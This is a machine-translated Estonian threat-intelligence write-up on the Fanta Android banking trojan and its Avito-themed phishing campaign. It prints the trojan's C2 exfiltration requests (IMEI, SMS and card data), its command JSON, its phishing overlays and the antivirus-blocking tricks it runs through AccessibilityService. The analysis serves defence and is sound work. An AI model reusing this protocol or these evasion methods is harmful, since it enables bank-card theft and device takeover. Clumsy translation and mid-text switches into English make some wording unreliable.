Voolu, Fanta: vana Androidi trooja uus taktika

Kord, kui soovite Avitos midagi müüa ja postitate oma toote (näiteks mälu moodul) kohta põhjaliku kirjelduse, saate sellise sõnumi:

Linki avades näete esmapilgul üsna kahjutut lehekülge, mis teavitab teid, õnnelikku ja edukat müüjat, ostu sooritamisest:

Pärast nuppu „Jätka“ vajutamist laaditakse teie Android-seadmest APK-fail, mille ikoon ja nimi tekitavad usaldusväärsuse. Olete paigaldanud rakenduse, mis mingil põhjusel küsib AccessibilityService õigusi, siis ilmuvad ja kaovad kiiresti kaks akent ja… Kõik.

Külastate oma saldo kontrollimiseks, kuid teie pangarakendus küsib mingil põhjusel taas teie kaardandmeid. Pärast andmete sisestamist juhtub kohutav asi: mingil teile veel arusaamatul põhjusel hakkavad raha teie kontolt kaduma. Proovite probleemi lahendada, kuid teie telefon vastandub: vajutab ise nuppe „Tagasi“ ja „Kodu“, ei keera välja ja ei lase aktiveerida ühtegi kaitsemeetodit. Lõppkokkuvõttes jääte rahata, teie toodet ei osteta, olete segaduses ja küsitate endalt: mis juhtus?

Vastus on lihtne: olete saanud Androidi trooja, Fanta, Flexneti perest. Kuidas see juhtus? Selgitame kohe.

Autorid: Andrei Polovinkin, pahavara analüüsi noorem spetsialist, Ivan Pisarjev, pahavara analüüsi spetsialist.

Veidi statistikat

Esmakordselt sai Flexneti Androidi troojade perekonnast teada juba 2015. aastal. Pika aktiivsuse jooksul on see liikunud mitmete alamliikide, nagu Fanta, Limebot, Lipton jne, suunas. Trooja ja sellega seotud infrastruktuur ei seisa paigal: arendatakse välja uusi tõhusaid levitusmeetodeid — meie puhul kvaliteetsed phishingi lehed, mis on suunatud konkreetsele müüja kasutajale, ja trooja arendajad järgivad viiruste kirjutamisel moetrende — lisavad uusi funktsioone, mis võimaldavad tõhusamalt raha varastada nakatunud seadmetelt ja kaitsemehhanisme ületada.

Käesolevas artiklis käsitletud kampaania on suunatud Venemaa kasutajatele, vähehaaval on nakkusi registreeritud Ukrainas, veelgi vähem Kazahstanis ja Valgevenes.

Vaatamata sellele, et Flexnet on Androidi troojanide seas olnud juba rohkem kui 4 aastat ja paljude teadlaste poolt põhjalikult uuritud, on ta endiselt heas vormis. Alates 2019. aasta jaanuarist on potentsiaalne kahjusumma ületanud 35 miljonit rubla — ja see on ainult Venemaal toimunud kampaaniate põhjal. 2015. aastal müüdi erinevaid selle Androidi troojani versioone underground-foorumites, kus leidus ka troojani lähtekood koos detailselt kirja pandud kirjeldusega. See tähendab, et globaalne kahju on isegi muljetavaldavam. Pole paha näitaja sellise vanuri kohta, eks?

Müügist petmiseni

Nagu näha eelnevalt esitatud Avito reklaamiteenuse kalastamislehe ekraanipildilt, valmistati see konkreetse ohvri jaoks. Tundub, et kurjategijad kasutavad ühte Avito parsi, mis toob välja müüja telefoninumbri ja nime ning toote kirjelduse. Pärast lehe avamist ja APK-faili ettevalmistamist saadetakse ohvrile SMS koos tema nime ja lingiga kalastamislehele, mis sisaldab tema toote kirjeldust ning summat, mis saadi toote “müügis”. Nuppu vajutades saab kasutaja pahavara APK-faili — Fanta.

Domeeni shcet491[.]ru uurimine näitas, et see on delegeeritud Hostingeri ettevõtte DNS-serveritele:

• ns1.hostinger.ru
• ns2.hostinger.ru
• ns3.hostinger.ru
• ns4.hostinger.ru

Domeeni tsoonifail sisaldab kirjeid, mis viitavad IP-aadressid 31.220.23[.]236, 31.220.23[.]243 ja 31.220.23[.]235. Kuid domeeni põhivara rekord (A-rekord) viitab serverile, mille IP-aadress on 178.132.1[.]240.

IP-aadress 178.132.1[.]240 asub Hollandis ja kuulub hostijale WorldStream. IP-aadressid 31.220.23[.]235, 31.220.23[.]236 ja 31.220.23[.]243 asuvad Suurbritannias ja kuuluvad HOSTINGERi virtuaalhostimise serverile. Registraatorina kasutatakse openprov-ru. IP-aadressil 178.132.1[.]240 olid samuti saadaval järgmised domeenid:

• sdelka-ru[.]ru
• tovar-av[.]ru
• av-tovar[.]ru
• ru-sdelka[.]ru
• shcet382[.]ru
• sdelka221[.]ru
• sdelka211[.]ru
• vyplata437[.]ru
• viplata291[.]ru
• perevod273[.]ru
• perevod901[.]ru

Oluline on märkida, et peaaegu kõikidest domeenidest olid saadaval järgmise formaadiga lingid:

http://(www.){0,1}/[0-9]{7}

Selle vormingu alla kuulub ka link SMS-sõnumis. Ajalooliste andmete põhjal on leitud, et ühele domeenile vastab mitu linki ülaltoodud malli järgi, mis viitab samas domeenis trooja levitamisele mitmele ohvrile.

Vaatame natuke ette: juhtimiserverina kasutab SMS-i lingilt laaditud trooja aadressi onuseseddohap[.]club. See domeen registreeriti 2019-03-12 ning alates 2019-04-29 toimus APK-rakenduste suhtlemine selle domeeniga. Tugiades VirusTotal'ist saadud andmetele, oli kokku 109 rakendust, mis suhtlesid selle serveriga. Domeen resolviti IP-aadressile 217.23.14[.]27, mis asub Hollandis ja kuulub hostimise teenusele WorldStream. Registratorina kasutatakse namecheap. Sellele IP-aadressile olid samuti resolveeritud domeenid bad-racoon[.]club (alates 2018-09-25) ja bad-racoon[.]live (alates 2018-10-25). Domeeni korral bad-racoon[.]club on suhelnud enam kui 80 APK-failiga, bad-racoon[.]live — üle 100.

Üldiselt näeb rünnaku käik järgmine välja:

Mis on Fanta all katte all?

Nagu paljud teised Androidi troojalood, suudab Fanta lugeda ja saata SMS-sõnumeid, teha USSD-päringuid ja kuvada oma aknaid rakenduste (sealhulgas pangarakenduste) kohal. Kuid selle pere funktsionaalsete võimaluste arsenali on lisandunud midagi uut: Fanta on hakanud kasutama AccessibilityService eri eesmärkidel: teiste rakenduste teatiste sisu lugemine, troojaloo tuvastamise ja peatamise takistamine nakatunud seadmes jne. Fanta töötab kõikidel Androidi versioonidel, mis ei ole vanemad kui 4.4. Selles artiklis vaatame lähemalt järgmist Fanta-sülearvuti:

• MD5: 0826bd11b2c130c4c8ac137e395ac2d4
• SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
• SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

Otse pärast käivitamist

Otse pärast trooja käivitamist peidab see oma ikooni. Rakenduse töö on võimalik ainult siis, kui nakatunud seadme nimi ei ole loendis:

• android_x86
• VirtualBox
• Nexus 5X(bullhead)
• Nexus 5(razor)

See kontroll tehakse trooja peamise teenuse, MainService. Esimese käivitamise ajal initsialiseeritakse rakenduse konfiguratsiooniparameetrid vaikimisi väärtustega (konfiguratsioonandmete salvestamise vormingi ja nende tähenduse kohta räägitakse hiljem) ning registreeritakse uus nakatunud seade juhtserveris. Serverile saadetakse HTTP POST-päring sõnumitüübiga register_bot ja teabega nakatunud seadme kohta (Androidi versioon, IMEI, telefoninumber, operaatori nimi ja riigi kood, kus operaator on registreeritud). Juhtserverina toimib ala hXXp://onuseseddohap[.]club/controller.php. Server vastab sõnumiga, mis sisaldab järgmisi välju bot_id, bot_pwd, server — need väärtused salvestab rakendus CnC-serveri parameetritena. Parameeter server on valikuline, kui väli ei ole saadud: Fanta kasutab registreerimisadresse — hXXp://onuseseddohap[.]club/controller.php. CnC-aadressi muutmise funktsiooni abil saab lahendada kahte ülesannet: koormuse ühtlane jaotamine mitme serveri vahel (suure hulga nakatunud seadmete korral võib koormus optimeerimata veebiserverile olla kõrge) ja alternatiivse serveri kasutamine, kui üks CnC-serveritest peaks ebaõnnestuma.

Kui päringu saatmise ajal ilmneb viga, kordab trooja registreerimisprotsessi 20 sekundi pärast.

Pärast seadme Fanta eduka registreerimise korral kuvatakse kasutajale järgmine teade:

Oluline märkusele: teenus nimega Süsteemi turvalisus — trooja teenuse nimi, ja peale nupule vajutamist OK avaneb nakatunud seadme Accessibility seadeaken, kus kasutaja peab ise andma Accessibility õigused kahjulikule teenusele:

Kuna kasutaja lubab AccessibilityService, saab Fanta juurdepääsu rakenduste akende sisule ja nende kaudu tehtavatele toimingutele:

Vahetult pärast Accessibility õiguste saamist taotleb trooja administraatori õigusi ja teate lugemise õigusi:

AccessibilityService'i abil simuleerib rakendus klahvivajutusi, andes endale kõik vajalikud õigused.

Fanta loob mitmeid andmebaasi eksemplare (mille kohta räägitakse hiljem), mis on vajalikud konfiguratsioonide andmete ja nakatunud seadme kohta kogutud teabe salvestamiseks. Kogutud teabe edastamiseks loob trojan korduva ülesande, mis on mõeldud andmeväljade laadimiseks andmebaasist ja käsu saamiseks juhiserverilt. CnC pöördumiste vahemaa sõltub Androidi versioonist: versiooni 5.1 puhul on vahemik 10 sekundit, muul juhul 60 sekundit.

Käsu saamiseks teeb Fanta päringu GetTask juhiserverile. Vastuseks võib CnC saata ühe järgmistest käskudest:

Fanta kogub ka teateid 70 panganduse, kiirmaksete ja elektrooniliste rahakottide rakenduselt ning salvestab need andmebaasi.

Konfiguratsiooniparamentide salvestamine

Fanta salvestab konfiguratsiooniparameetrid standardse lähenemisviisi abil Androidi platvormil — Preferences-failide. Seaded salvestatakse failisse nimega settings. Salvestatud parameetrite kirjeldus on tabelis allpool.

Fanta kasutab ka faili smsManager:

Koostöö andmebaasidega

Töötamise käigus kasutab troojalane kahte andmebaasi. Andmebaasi nimi on a kasutatakse erineva teabe hoidmiseks, mis on kogutud telefonist. Teise andmebaasi nimi on fanta.db ja seda kasutatakse seadistuste salvestamiseks, mis vastutavad kalastamise akende loomise eest, et koguda teavet pangakaartide kohta.

Trojan kasutab andmebaasi ä kogutud teabe ja oma tegevuse logimise jaoks. Andmed salvestatakse tabelisse logs. Tabeli loomiseks kasutatakse järgmist SQL-päringut:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

Andmebaasis sisaldub järgmine teave:

1. Nakkunud seadme sisselülitamise logimine sõnumiga Telefon on sisse lülitatud!

2. Rakendustelt saadud teated. Sõnum vormistatakse järgmise šablooni järgi:

(<%App Name%>)<%Title%>: <%Notification text%>

3. Pangakaardid, mis saadakse Trojan'i loodud kalastusvormidest. Parameeter VIEW_NAME võib olla üks järgmistest:

• AliExpress
• Avito
• Google Play
• Erinevad <%App Name%>

Sõnum logitakse formaadis:

[]() Kaardi number:; Kuupäev:/; CVV:

4. Sissetulevad/väljuvad SMS-sõnumid formaadis:

([{<%Time in format HH:mm:ss dd.MM.yyyy%>] Tüüp: Sissetulev/Väljaminev) <%Mobile number%>:<%SMS-text%>

5. Teave paketi kohta, mis loob dialooge formaadis:

(<%Package name%>)<%Package information%>

Näide tabelist logs:

Fanta üheks funktsiooniks on teabe kogumine pangakaartide kohta. Andmete kogumine toimub fisking-akenide loomise kaudu pankade rakenduste avamisel. Trojan loob fisking-akna ainult üks kord. Teave selle kohta, et aken on kasutajale näidatud, salvestatakse tabelisse settings andmebaasis fanta.db. Andmebaasi loomiseks kasutatakse järgmist SQL-päringut:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

Kõik tabeli väljad settings algseisuga initsialiseeritakse väärtusega 1 (loomine fisking-akna jaoks). Pärast seda, kui kasutaja on andmed sisestanud, muudetakse väärtus 0-ks. Tabeli väljade näide settings:

• can_login — väli, mis vastutab vormi kuvamise eest pangarakenduse avamisel
• first_bank — ei kasutata
• can_avito — väli, mis vastutab vormi kuvamise eest Avito rakenduse avamisel
• can_ali — väli, mis vastutab vormi kuvamise eest Aliexpress rakenduse avamisel
• can_another — see the form display when opening any application from the list: Yula, Pandao, Drom Auto, Košelek. Discount and bonus cards, Aviasales, Booking, Trivago
• can_card — field responsible for showing the form when opened Google Play

Interaction with the managing server

Network interaction with the managing server occurs via the HTTP protocol. For network tasks, Fanta utilizes the popular Retrofit library. Requests are sent to the address hXXp://onuseseddohap[.]club/controller.php. The server address can change during registration on the server. The server may respond with cookies. Fanta performs the following requests to the server:

• Bot registration on the managing server happens once at the initial launch. The following data about the compromised device is sent to the server:
  · Cookie — received cookies from the server (default value — empty string)
  · mode — string constant register_bot
  · prefix — integer constant 2
  · version_sdk — generated according to the following template: /(Avit)
  · imei — IMEI of the compromised device
  · country — country code, where the operator is registered, in ISO format
  · number — phone number
  · operator — operator name

  Example of a request sent to the server:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 144
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=register_bot&prefix=2&version_sdk=&imei=&country=&number=&operator=
  

  Server peab vastama JSON-objektiga, mis sisaldab järgmisi parameetreid:
  · bot_id — nakatunud seadme identifikaator. Kui bot_id on 0, kordab Fanta taotlust.
  · bot_pwd — serveri parool.
  · server — kontrollserveri aadress. Valikuline parameeter. Kui parameeter puudub, kasutatakse rakenduses salvestatud aadressi.

  JSON-objekti näide:

  {
      "response":[
     	 {
     		 "bot_id": ,
     		 "bot_pwd": ,
     		 "server": 
     	 }
      ],
      "status":"ok"
  }

• Taotlus serverilt käsu saamiseks. Serverile saadetakse järgmised andmed:
  · Cookie — serverilt saadud küpsised
  · bid — nakatunud seadme id, mis saadi taotluse saatmisel register_bot
  · pwd — serveri parool
  · divice_admin — väli määrab, kas administreerimise õigused on saadud. Kui õigused on saadud, on väli 1, kui mitte, siis 0
  · Accessibility — Accessibility Service'i töö staatuse näitamine. Kui teenus on käivitatud, on väärtus 1, kui mitte, siis 0
  · SMSManager — näitab, kas troojani rakendus on vaikimisi seadistatud SMSide vastuvõtmiseks
  · ekraan — näitab ekraani seisundit. Väärtus on seadistatud 1, kui ekraan on sisse lülitatud, vastasel juhul 0;

  Example of a request sent to the server:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=getTask&bid=&pwd=&divice_admin=&Accessibility=&SMSManager=&screen=

  Server võib vastavalt käsule tagastada erinevate parameetritega JSON-objekti:

  · Meeskond Saada SMS-sõnum: Parameetrites on telefoninumber, SMS-sõnumi tekst ja saadetava sõnumi identifikaator. Identifikaatorit kasutatakse sõnumi saatmisel serverile tüübiga setSmsStatus.

  {
      "response":
      [
     	 {
     		 "mode": 0,
     		 "sms_number": ,
     		 "sms_text": ,
     		 "sms_id": %SMS_ID%
     	 }
      ],
      "status":"ok"
  }

  · Meeskond Esitada telefonikõne või USSD-käsk: Telefoninumber või käsk jõuab vastuse kehas.

  {
      "response":
      [
     	 {
     		 "mode": 1,
     		 "command": 
     	 }
      ],
      "status":"ok"
  }

  · Meeskond Muutke parameetrit interval.

  {
      "response":
      [
     	 {
     		 "mode": 2,
     		 "interval": 
     	 }
      ],
      "status":"ok"
  }

  · Meeskond Muutke parameetrit intercept.

  {
      "response":
      [
     	 {
     		 "mode": 3,
     		 "intercept": "all"/"telNumber"/
     	 }
      ],
      "status":"ok"
  }

  · Meeskond Muuda SmsManageri väljund.

  {
      "response":
      [
     	 {
     		 "mode": 6,
     		 "enable": 0/1
     	 }
      ],
      "status":"ok"
  }

  · Meeskond Koguda SMS-sõnumeid nakatunud seadmest.

  {
      "response":
      [
     	 {
     		 "mode": 9
     	 }
      ],
      "status":"ok"
  }

  · Meeskond Teha telefon tehase seadetele tagasi:

  {
      "response":
      [
     	 {
     		 "mode": 11
     	 }
      ],
      "status":"ok"
  }

  · Meeskond Muuda ReadDialog parameetrit.

  {
      "response":
      [
     	 {
     		 "mode": 12,
     		 "enable": 0/1
     	 }
      ],
      "status":"ok"
  }

• Sõnumi saatmine tüübi järgi setSmsStatus. See päring tehakse käsu täitmise järel Saada SMS-sõnum. Päring näeb välja järgmiselt:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=&status_sms=

• Andmebaasi sisu saatmine. Ühe päringu raames saadetakse üks rida. Serverile saadetakse järgmised andmed:
  · Cookie — serverilt saadud küpsised
  · mode — string constant setSaveInboxSms
  · bid — nakatunud seadme id, mis saadi taotluse saatmisel register_bot
  · text — tekst praeguses andmebaasi kirjes (välja d tabelist logs andmebaasis ä)
  · number — praeguse andmebaasi kirje nimetus (välja p tabelist logs andmebaasis ä)
  · sms_mode — terviklik väärtus (välja m tabelist logs andmebaasis ä)

  Päring näeb välja järgmiselt:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

  Kui serverile on õnnestunud saata, eemaldatakse rida tabelist. Näide serveri tagastatud JSON-objektist:

  {
      "response":[],
      "status":"ok"
  }

Interaktsioon AccessibilityService'iga

AccessibilityService on loodud, et lihtsustada Android-seadmete kasutamist erivajadustega inimestele. Enamasti on rakendusega suhtlemiseks vajalik füüsiline interaktsioon. AccessibilityService võimaldab seda teha programmiliselt. Fanta kasutab teenust valeakende loomiseks pangarakendustes ning takistab süsteemi seadete ja mõnede rakenduste avamist.

Kasutades AccessibilityService'i funktsioonide kaudu, jälgib Trooja muudetud seadmes ekraanil olevate elementide muutusi. Nagu eelnevalt mainitud, sisaldab Fanta seadete all parameetrit, mis vastutab dialoogide tegevuste logimise eest — readDialog. Kui see parameeter on seadistatud, lisatakse andmebaasi teave paketi nime ja kirjelduse kohta, mis käivitas sündmuse. Trooja täidab järgmist tegevust sündmuste käivitamisel:

• Simuleerib tagasi ja koju nuppude vajutamist juhul:
  · kui kasutaja soovib oma seadet taaskäivitada
  · kui kasutaja soovib eemaldada rakenduse “Avito” või muuta juurdepääsuõigusi
  · kui lehe sisu sisaldab viidet rakendusele “Avito”
  · rakenduse “Google Play Protect” avamisel
  · Sätteid AccessibiltyService avamisel
  · kui kuvatakse dialoog “Süsteemi turvalisus”
  · avades lehe “Draw over other app” sätete jaoks
  · kui avatakse lehed “Rakendused”, “Taastamine ja lähtestamine”, “Tehaseseaded”, “Seadete lähtestamine”, “Arendaja valikud”, “Erilised võimalused”, “Spetsiifilised õigused”
  · kui sündmus genereeriti teatud rakenduste poolt.

  Rakenduste nimekiri

  • android
  • Master Lite
  • Clean Master
  • Clean Master for x86 CPU
  • Meizu rakenduse õiguste haldamine
  • MIUI turvalisus
  • Clean Master — Viirusetõrje & Vahemälu ja rämpsfailide puhastamine
  • Vanemlik kontroll ja GPS: Kaspersky SafeKids
  • Kaspersky Antivirus AppLock & Veebiturbe beetaversioon
  • Viirusetõrje, Antiviirus, Puhastaja (MAX Turvalisus)
  • Mobiilne Antiviirus Turvalisus PRO
  • Avast antiviirus & tasuta kaitse 2019
  • Mobiilitooted МегаФон
  • AVG Kaitse Xperia jaoks
  • Mobiilne Ohutus
  • Malwarebytes antiviirus & kaitse
  • Antiviirus Androidile 2019
  • Turvalisuse Meistrid — Antiviirus, VPN, Rakenduse Lukustus, Boost
  • AVG antiviirus Huawei tahvelarvuti System Manageri jaoks
  • Samsungi Juurdepääsetavus
  • Samsung Smart Manager
  • Turvalisuse Meistrid
  • Kiirus Booster
  • Dr.Web
  • Dr.Web Security Space
  • Dr.Web Mobiilne Kontrollkeskus
  • Dr.Web Security Space Life
  • Dr.Web Mobiilne Kontrollkeskus
  • Antiviirus & Mobiilne Turvalisus
  • Kaspersky Interneti Turvalisus: Antiviirus ja Kaitse
  • Kaspersky Aku Elu: Energia säästja & Booster
  • Kaspersky Endpoint Security — kaitse ja haldamine
  • AVG Antiviirus tasuta 2019 – Kaitse Androidile
  • Antiviirus Androidile
  • Norton Mobiilne Turvalisus ja Antiviirus
  • Antiviirus, tulemüür, VPN, mobiilne turvalisus
  • Mobiilne Turvalisus: antiviirus, VPN, varguse kaitse
  • Antiviirus Androidile

• Kui lühinumbrile SMS-i saatmisel küsitakse luba, Fanta imiteerib checkboxi vajutamist Mäleta valikut ja nuppu saata.
• Kui proovite troojalaselt administraatori õigusi ära võtta, blokeerib see telefoni ekraani.
• Takistab uute administraatorite lisamist.
• Kui antiviirusrakendus dr.web leiab ohu, Fanta imiteerib nupu vajutamist ignoreerida.
• Trojan imiteerib tagasi- ja kodu nuppude vajutamist, kui sündmus oli genereeritud rakenduse poolt Samsung Device Care.
• Fanta loob petusaknaid, kus on vormid pangakaardi teabe sisestamiseks, kui rakendus käivitatakse loendist, mis sisaldab umbes 30 erinevat veebiteenust. Nende seas: AliExpress, Booking, Avito, Google Play Market, Pandao, Drom Auto jne.
  

  Petusvormid

  Fanta analüüsib, milliseid rakendusi käivitatakse nakatunud seadmes. Kui avatakse huvipakkuv rakendus, kuvab trojan petusakna kõigi teiste peale, mis on vorm pangakaardi teabe sisestamiseks. Kasutajalt nõutakse järgmiste andmete sisestamist:

  • Kaardi number
  • Kaardi kehtivusaeg
  • CVV
  • Kaardi omaniku nimi (kõigile pankadele mitte kohustuslik)

  Sõltuvalt avatud rakendusest kuvatakse erinevaid petusaknaid. Edasi on toodud näited mõnest neist:

  Aliexpress:

  
  Avito:

  
  Mõnele teisele rakendusele, näiteks Google Play Market, Aviasales, Pandao, Booking, Trivago:
  

  Kuidas asjad tegelikult olid
  

  Õnneks oli inimene, kes sai artikli alguses kirjeldatud SMS-sõnumi, küberjulgeoleku spetsialist. Seega erineb reaalsus, mitte režissööride versioon, varem jutustatavast: inimene sai huvitava SMS-i, mille ta edastas Group-IB Threat Hunting Intelligence meeskonnale. Rünnaku tulemus — see artikkel. Õnnelik lõpp, kas pole? Kuid kaugel sellest, et kõik lood lõppeksid nii hästi, ja et teie lugu ei sarnaneks režissööride versiooniga rahakaotusega, piisab enamikul juhtudel järgida järgmisi, vanu reegleid:

  • Ärge installige Androidi operatsioonisüsteemiga mobiilirakendusi muudest allikatest peale Google Play.
  • Rakendust installides pöörake erilist tähelepanu rakenduse nõutavatele õigustele.
  • Pöörake tähelepanu allalaaditavate failide laiendustele.
  • Paigaldage regulaarselt Androidi operatsioonisüsteemi värskendused.
  • Ärge külastage kahtlasi ressursse ega allalaadige sealt faile.
  • Ärge klikkige SMS-sõnumites saadud linkidel.

Allikas: habr.com